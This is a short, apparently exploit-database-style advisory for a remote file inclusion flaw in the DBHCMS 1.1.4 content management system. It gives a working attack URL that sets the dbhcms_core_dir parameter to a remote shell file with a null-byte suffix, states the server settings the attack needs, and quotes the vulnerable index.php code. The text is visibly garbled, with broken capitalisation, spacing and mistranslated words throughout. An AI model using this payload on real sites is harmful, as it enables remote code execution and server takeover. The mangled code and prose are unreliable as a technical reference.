DBHCMS Web Content Management System v1.1.4 RFI & amp; nb

# Exploit:

Vuln file: index. php

Exploit:

Target :? Dbhcms_core_dir = http://site.com/shell.txt%00

/* Need register_globals = ON and allow_url_include = ON without a second yuzaetsya as LFI */

Index. php

Function dbhcms_init ($ core ){

$ Init = $ core. init. php;

$ Page = $ core. page. php;

If (is_file ($ init) & (is_file ($ page ))){

Require_once ($ init );

Require_once ($ page );

} Else {

Die (<div style = "color: #872626; font-weight: bold;">

Fatal error-cocould not find the initialation files.

Please check the "$ dbhcms_core_dir" parameter in the "config. php" and make

Shure the directory is correct.

</Div> );

}

}

......

Dbhcms_init ($ GLOBALS [dbhcms_core_dir]);